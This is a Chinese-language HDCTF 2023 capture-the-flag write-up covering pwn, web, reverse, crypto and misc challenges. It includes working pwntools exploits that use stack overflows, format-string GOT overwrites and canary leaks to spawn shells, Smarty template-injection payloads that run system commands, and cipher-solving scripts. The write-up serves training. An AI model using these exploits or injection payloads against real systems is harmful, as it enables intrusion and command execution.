pwn 做完了,别的方向的也有打一点。

PWN

pwnner

伪随机数,种子也给出来了。先写个生成对应随机数的 c 程序。

// gcc 1.c -o 1
#include <stdio.h>
#include <stdlib.h>
#include <time.h>int main() {srand(0x39);printf("随机数为: %d\n", rand());return 0;
}

基础栈溢出 + 给了后门函数

exp 如下:

from pwn import *
p = process('./pwnner')
#p = remote('node5.anna.nssctf.cn',28806)p.sendline('1956681178')backdoor = 0x00000000004008B2
payload = 'a'*(0x40+0x8) + p64(backdoor)
sleep(0.1)
p.sendline(payload)p.interactive()

KEEP ON

给了个 shell,不过是假的。

利用格式化字符串漏洞劫持 printf_got 为 system_plt(经过调试得到 printf 的偏移是6 )
下面存在 0x10 字节的溢出,能改 vuln 函数的返回地址为 vuln 再打一次,然后写入 ‘/bin/sh\x00’ 就能执行 system(‘/bin/sh\x00’)

exp 如下:

from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
elf = ELF("./hdctf")
p = process('./hdctf')
#p = remote("node5.anna.nssctf.cn",28634)system_plt = 0x00000000004005E0
printf_got = elf.got['printf']
#gdb.attach(p)
#pause()
payload1 = fmtstr_payload(6, {printf_got: system_plt})
sleep(0.1)
p.sendafter('name: \n',payload1)vuln_addr = 0x40076F
#pause()
payload2 = 'a'*(0x50+0x8) + p64(vuln_addr)
sleep(0.1)
p.sendafter('on !\n',payload2)#pause()
sleep(0.1)
p.sendafter('name: \n',"/bin/sh\x00")p.interactive()

Makewish

伪随机数,种子默认为1,依旧是先写个生成对应随机数的 c 程序,跑出来 v5 为 707。

// gcc 1.c -o 1
#include <stdio.h>
#include <stdlib.h>
#include <time.h>int main() {int v5;v5 = rand() % 1000 + 324;printf("v5: %d\n", v5);return 0;
}

填入足够长的字符,改 canary 的低位 ‘\x00’ 为 ‘\x0a’,就能利用 puts 泄露 canary。然后通过了条件判断后可以进入 vuln,这里卡了好一会,直接输 ‘707’ 是过不了判断的,经过调试发现是直接比较内存单元的数据,所以改成了对应的十六进制形式 ‘\xc3\x02\x00\x00’ 来发送。

vuln 函数有 off-by-null,能改 old_ebp 的最低一字节为 ‘\x00’,可以上抬栈底指针了,运气好的话可以劫持到 main 函数的返回地址。在 payload 的前一部分布置尽量多的滑板指令,基本上跑两三遍就能出。

exp 如下:

from pwn import *
p = process('./pwn')
#p = remote('node6.anna.nssctf.cn',28213)
context.log_level = 'debug'#gdb.attach(p)
#pause()
payload1 = 'a'*(0x30-0x8)
p.sendline(payload1)p.recvuntil(payload1)
canary = u64(p.recv(8)) - 0x0a
log.info("canary:" + hex(canary))sleep(0.1)
p.send('\xc3\x02\x00\x00')#pause()
backdoor = 0x4007C7
ret = 0x400902
payload2 = p64(ret)*10
payload2 += p64(backdoor)
payload2 += p64(canary)
sleep(0.1)
p.sendline(payload2)p.interactive()

Minions

利用 vuln 函数内的格式化字符串漏洞直接改 key 为 102(经过调试得到 printf 的偏移是6 )

存在 0x10 字节的栈溢出,能改回 main 函数的地址多打几次。

至于程序能够往 bss 段写,这个点我倒是没用上,后面的基本上跟 KEEP ON 的打法差不多。

至于出现了本地通远端不通的情况,我将返回到 main 改到 _start 就通了。

exp 如下:

from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
elf = ELF("./minions1")
p = process('./minions1')
#p = remote('node6.anna.nssctf.cn',28837)key_addr = 0x6010A0
key = 0x66#gdb.attach(p)
#pause()
payload1 = fmtstr_payload(6, {key_addr: key})
p.sendafter('name?\n\n',payload1)start_addr = 0x400610
#pause()
payload2 = 'a'*(0x30+0x8) + p64(start_addr)
p.sendafter('you\n',payload2)p.sendafter('Minions?\n','a')system_plt = 0x00000000004005C0
printf_got = elf.got['printf']payload3 = fmtstr_payload(6, {printf_got: system_plt})
p.sendafter('name?\n\n',payload3)p.sendafter('you\n',payload2)
p.sendafter('Minions?\n','a')p.sendafter('name?\n\n','/bin/sh\x00')p.interactive()

WEB

Welcome To HDCTF 2023

签到题,移动人物往有倒计时的黑脸靠,HP = 0 的时候就会弹 flag

SearchMaster

smarty 注入

data={if system('ls /')}{/if}

data={if system('cat /flag_13_searchmaster')}{/if}

REVERSE

easy_re

使用 UPXshell 脱壳后拖入 IDA 分析,然后再 shift + f12 能找到一串使用 base64 编码的字符串,拖进在线网站解码即可。

easy_asm

直接拖进 IDA 中分析汇编。发现加密的字符串,转成字符是 XTSDVkZecdOqOu#ciOqC}m

将密文与 0x10 异或就是 flag。

flag = "XTSDVkZecdOqOu#ciOqC}m"
result = ""for char in flag:xored_char = chr(ord(char) ^ 0x10)result += xored_charprint(result)

double_code

by Jasonxjy

点进这个函数。

此处应该是加载 shellcode, 但是 ida 已经把 shellcode 分析成伪代码了

根据逻辑可以分析出来是个类似于虚拟机的操作,可以根据 opcode 写出 exp:

#include<iostream>
#include<string>
#include<cstring>
using namespace std;
int main ()
{int opcode[]={1,5,2,4,3};unsigned char flag[]={0x48,0x67,0x45,0x51,0x42,0x7b,0x70,0x6a,0x30,0x68,0x6c,0x60,0x32,0x61,0x61,0x5f,0x42,0x70,0x61,0x5b,0x30,0x53,0x65,0x6c,0x60,0x65,0x7c,0x63,0x69,0x2d,0x5f,0x46,0x35,0x70,0x75,0x7d};for(int i = 0 ; i < strlen((char *)flag) ; i ++ ){int tmp = i%5;if(tmp == 1){flag[i] ^= 0x23;}else if(tmp == 2){flag[i] -= 2;}else if(tmp == 3){flag[i] +=3;}else if (tmp == 4){flag[i] +=4;}else if(tmp == 5){flag[i]+=25;}printf("%c",flag[i]);}}

fake_game

2020年「羊城杯」网络安全大赛 Re部分 WriteUp_1182843538814603_Simon菌的博客-CSDN博客

ycb 有道类似的。使用 PyInstaller 解包,然后将 game.pyc 文件放入在线网站反编译。分析代码看到方程组,使用 z3 模块进行解密,再与 flag 数组进行异或。

from z3 import*
s=Solver()
xorr=[0]*4
for i in range(4):xorr[i]=Int('xorr['+str(i)+']')s.add(xorr[0] * 256 - xorr[1] / 2 + xorr[2] * 23 + xorr[3] / 2 == 47118166)
s.add(xorr[0] * 252 - xorr[1] * 366 + xorr[2] * 23 + xorr[3] / 2 - 1987 == 46309775)
s.add(xorr[0] * 6 - xorr[1] * 88 + xorr[2] / 2 + xorr[3] / 2 - 11444 == 1069997)
s.add((xorr[0] - 652) * 2 - xorr[1] * 366 + xorr[2] * 233 + xorr[3] / 2 - 13333 == 13509025)if s.check()==sat:print(s.model())
else:print("wrong")

先解密,然后再异或。

flag = [178868, 188, 56953, 2413, 178874, 131, 56957, 2313, 178867, 156,56933, 2377, 178832, 202, 56899, 2314, 178830, 167, 56924,2313, 178830, 167, 56938, 2383, 178822, 217, 56859, 2372]
key=''
'''
xorr[1] = 248,xorr[0] = 178940,xorr[2] = 56890,xorr[3] = 2360
'''xorr =[178940,248,56890,2361]for i in range(len(flag)):key+=chr(flag[i]^xorr[i%4])print(key)

买了些什么呢

物品数量40,背包容量50,每个商品只能拿一次,以买到总价值最高的商品,从小到大排列输出商品的编号。

所以物品的重量和价值为:

2 8 5 1 10 5 9 9 3 5 6 6 2 8 2 2 6 3 8 7 2 5 3 4 3 3 2 7 9 6 8 7 2 9 10 3 8 10 6 5 4 2 3 4 4 5 2 2 4 9 8 5 3 8 8 10 4 2 10 9 7 6 1 3 9 7 1 3 5 9 7 6 1 10 1 1 7 2 4 9

纯 0-1 背包问题。

#include<bits/stdc++.h>
using namespace std;
const int N=1e4+5;
int f[N],p[N][N],w[N],v[N];
//void printpath(int x)
//{// if(!x) return;
// printpath(x-w[p[x]]);
// cout<<p[x]<<" ";
//}
int main()
{int n,m;// 先输入物品数量,再输入背包容量cin>>n>>m;for(int i=1; i<=n; i++)cin>>w[i]>>v[i];for(int i=n; i>=1; i--){;for(int j=m; j>=w[i]; j--){if(f[j]<f[j-w[i]]+v[i]){f[j]=f[j-w[i]]+v[i];p[i][j]=1;}}}cout<<f[m]<<'\n';
// printpath(m);for(int i=1,j=m;i<=n&&j>=0;i++){if(p[i][j]){cout<<i-14<<" ";j-=w[i];}}return 0;
}

运行截图如下,将结果使用 NSSCTF{} 包住就是 flag。

enc

by Jasonxjy

表面是个 tea 然后传参,使用脚本解出 v10 的值为 3

脚本如下:

#include <string.h>
#include<iostream>
using namespace std;
void tea_decrypt(uint32_t *v, uint32_t *k) {uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;uint32_t delta = 0x9e3779b9;for (i = 0; i < 32; i++) {v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);sum -= delta;}v[0] = v0;v[1] = v1;
}int main() {uint32_t enc[2]={0x60FCDEF7,0x236DBEC};uint32_t key[]={0x12,0x34,0x56,0x78};tea_decrypt(enc,key);cout<<enc[0];return 0;
}

smc 加密处理了 hdctf 字段,使用 idapython 异或回去。

for i in range(0x41d000,0x41E600):patch_byte(i,get_wide_byte(i)^3)

就可以看到加密函数了,普通 rc4

#include<iostream>
#include<cstring>
using namespace std;
unsigned char ida_chars[] =
{0xD4, 0x16, 0x87, 0xD6, 0x54, 0x68, 0xBC, 0x02, 0x15, 0x6D, 0x30, 0x08, 0x4B, 0x61, 0x4C, 0x5E, 0x42, 0xFD, 0x55, 0x61,0xB9, 0x27, 0x6F, 0xF5, 0xB6, 0x86, 0x23, 0xA9, 0xEF, 0x1C,0x04, 0x9F
};void rc4_1(unsigned char*s, unsigned char*key, unsigned long Len)
{int i = 0, j = 0;char k[256] = { 0 };unsigned char tmp = 0;for (i = 0; i<256; i++){s[i] = i;k[i] = key[i%Len];}for (i = 0; i<256; i++){j = (j + s[i] + k[i]) % 256;tmp = s[i];s[i] = s[j];s[j] = tmp;}
}void rc4_2(unsigned char*s, unsigned char*Data, unsigned long Len)
{int i = 0, j = 0, t = 0;unsigned long k = 0;unsigned char tmp;for (k = 0; k<Len; k++){i = (i + 1) % 256;j = (j + s[i]) % 256;tmp = s[i];s[i] = s[j];s[j] = tmp;t = (s[i] + s[j]) % 256;Data[k] ^= s[t];}
}int main()
{unsigned char s[256] = { 0 }, s2[256] = { 0 };char key[256] = "you_are_master";unsigned char pData[512] = {0xf,0x94,0xae,0xf2,0xc0,0x57,0xc2,0xe0,0x9a,0x45,0x37,0x50,0xf5,0xa0,0x5e,0xcb,0x2c,0x16,0x28,0x29,0xfe,0xff,0x33,0x46,0xe,0x57,0x82,0x22,0x52,0x26,0x2b,0x6e,0xe4,0x82,0x24};unsigned long len = 35;int i;rc4_1(s, (unsigned char*)key, strlen(key));rc4_2(s, (unsigned char*)pData, len);printf("%s", pData);return 0;
}

CRYPTO

Normal_Rsa

出题人忘删 flag 了,打开文件就看见 flag 了。

Normal_Rsa(revenge)

解 rsa。

p,q 要解一下,观察到给出的数字,位数一样就直接开方了。

(查到开根号的方法,开出来就是科学计数法,复原一下就好。

P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
e=65537e=65537
p=pow(P,0.5)
q=pow(Q,0.5)
print(p)
print(q)

然后套 rsa 模板解密即可。

import gmpy2 as gs
import binasciin = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785e=65537p=93595995503882796484948942664787567679411018850571035558047095185699253142469
q=10626484086425759109526601843431131274302413270645909659804218687679714714707826956012068057535486307660248767234433303462363381171495481245390248120740549n=p*q
phi = (p-1)*(q-1)
d = gs.invert(e,phi)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

爬过小山去看云

小山的英文是 hill,就是希尔密码;云,就是云隐密码。

给了密钥的希尔密码,在线网站解密就好。

润色一下就看出来了。

your pin is
eight four two zero eight four two one zero eight eight four zero two four zero eight four zero one zero one two four x
# 842084210884024084010124

然后使用云隐密码的解密脚本。

ct = '842084210884024084010124'
list = ct.split('0')
flag=''
for i in list:sum = 0for j in i:sum += int(j)flag += chr(sum+64)
print(flag)
# NSSCTF{NOTFLAG}

Math_Rsa

by Jasonxjy

直接用 sagemath 在环上进行开根即可还原 p,接着解一个 rsa

import gmpy2
from Crypto.Util.number import *
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
P.<x> = PolynomialRing(Zmod(r))
f=x**2-a
f=f.monic()
p=f.roots()[0]
print(p)
p=135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291
q=n//p
d=gmpy2.invert(65537,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))

MISC

hardMisc

丢进 010editor 看,最后面有一串 base64 密文,放到在线网站解密即可。

ExtremeMisc

使用 binwalk 分析发现有压缩包,压缩包套娃。手动分离压缩包 IDAT.zip, Dic.zip,尝试爆破密码 haida,成功得到 reverse.piz 文件。

根据文件名称提示并放入 010editor 中,观察到压缩包中编码被反转,读取文件内内容进行反转。

f = open('Reverse.zip', "rb")  # 打开要读取的二进制文件
hex_list = ["{:02X}".format(c) for c in f.read()]  # 将文件内容转换为十六进制字符串列表
f.close()hex_str = ''.join(hex_list)  # 将列表中的字符串连接成一个字符串
reversed_hex_str = hex_str[::-1]  # 将字符串反转reversed_bytes = bytes.fromhex(reversed_hex_str)  # 将反转后的十六进制字符串转换为字节流with open('Reverse_reversed.zip', 'wb') as f:  # 打开一个新的二进制文件,将反转后的字节流写入其中f.write(reversed_bytes)

得到恢复正常的 zip 文件,但是解压发现还有加密,爆破得到密码是 9724。得到 secert.zip, plain.zip。plain.zip 有第二层加密,使用明文攻击拿到最后一层密码,打开读取 flag 即可。

MasterMisc

里面有好几个都是一样的压缩包。恢复密码是 5438,得到一张图片,然后使用 binwalk 可以得到一张图片一个音频。

音频可以看见第一部分flag。

图片爆破宽高然后修改得到第二部分flag。

最后一部分直接搜索原图片可以发现。

HDCTF2023 Writeup相关推荐

  1. 2021年中国工业互联网安全大赛核能行业赛道writeup之usb流量分析

    目录 一.USB协议 二.键盘流量 三.鼠标流量 四.writeup 附件题:usb流量分析 题目描述: 具体描述忘记了o(╯□╰)o 大概意思是有个U盘插到电脑上,然后经过一些操作导致该电脑重启了. ...

  2. 2021年中国工业互联网安全大赛核能行业赛道writeup之鱿鱼游戏

    目录 一.尝试 二.Writeup 附加题 鱿鱼游戏(来自最近一部很火的韩剧) 题目描述: 小王由于操作不规范,误将不明U盘插入到上位机中,导致上位机中的某些关键文件被加密,但攻击者在U盘中还留下了一 ...

  3. 2018湖湘杯海选复赛Writeup

    2018湖湘杯Writeup 0x01 签到题 0x02 MISC Flow 0x03 WEB Code Check 0x04 WEB Readflag 0x05 WEB XmeO 0x06 Reve ...

  4. php upload ctf,强网杯CTF防御赛ez_upload Writeup

    这是强网杯拟态防御线下赛遇到的web题目,本来是不打算分享Writeup的,但是由于问的人很多,于是这里分享给大家. ez_upload这题算是非常经典的堆叠black trick的题目,算是比较典型 ...

  5. 安恒赛php_安恒11月月赛周周练writeup

    前言 11月月赛 完美错过时间,正好有周周练,基本都是一样月赛的web,记录下write up 手速要快 这题是10月月赛中的一题,直接看我上次的writeup:安恒月赛(十)web-2题writeu ...

  6. 南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup

    南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup 题目描述 文件下载地址 很明显,文件之间进行亦或就可得到flag,不再多说,直接上脚本 1 #coding:utf-8 2 file ...

  7. 社团的CTF逆向题WriteUp

    最近社团弄了CTF比赛,然后我就帮忙写了逆向的题目,这里写一下WriteUp,题目和源码在附件中给出 一个简单的逆向:one_jmp_to_flag.exe 这题算是签到题,直接OD智能搜索就完事了, ...

  8. CTF-i春秋网鼎杯第一场misc部分writeup

    CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...

  9. NCTF2019 -- PWN部分writeup

    pwn学习总结(二) -- PWN部分writeup warmup easy_rop warmup 查看程序防护: 查看反汇编: 已知条件: 开启了溢出检测 开启了沙盒模式,只能调用libc中的ope ...

最新文章

  1. [JavaScript] 好用的 JavaScript Symbol 类型
  2. 单例模式(Singleton)
  3. Pandas常用I/O(一)------read_csv(),read_table()
  4. SpringBatch处理适配器ItemProcessorAdapter详解
  5. Nature Biotechnology | 单细胞转录组不同建库及数据分析方法的测评结果
  6. oracle外关联更新操作,记要oracle 关联更新的例子
  7. 解析含有资源类型的字符串
  8. OSPF建立邻居、邻接关系 学习笔记
  9. 2019年最新,免费检测僵尸粉软件,无打扰检测清理微信僵尸粉
  10. 腾讯推出移动端动画组件PAG,释放设计生产力!
  11. Java项目:SSM网吧计费管理系统
  12. 【转】框架(蔡学镛)
  13. Ext.Net配色方案
  14. 轮盘的基础,简单的实现和Toolbar的实现
  15. 亚特兰蒂斯_亚特兰蒂斯的命运与可下载内容的作用
  16. 微金所页面制作(Bootstrap 响应式开发 栅格布局 响应式布局)
  17. 【Rust 日报】2023-1-19 Lars Bergstrom当选为Rust基金会董事会主席
  18. [Win32] DLL的开发和使用
  19. Java IO流的关闭顺序
  20. java基础梳理--朝花夕拾(二)

热门文章

  1. 5-20 打印九九口诀表 (15分)
  2. 电脑开机不能进入系统--死机
  3. (10.3.5.6)软件验收报告文档模版
  4. QBC 通过Heibernate查询 discriminator 配置的属性问题
  5. 春招计算机学校,衡东计算机IT春招学校排名
  6. 一个女孩写给一个男孩子的信
  7. 吉里吉里2 2.30版正式发布了
  8. 宝塔linux面板ping网址找不到主机,云服务器安装宝塔面板后无法ping通ip地址问题的解决方法...
  9. java 8 joda time,Joda Time 使用
  10. 利用jdk使用WebService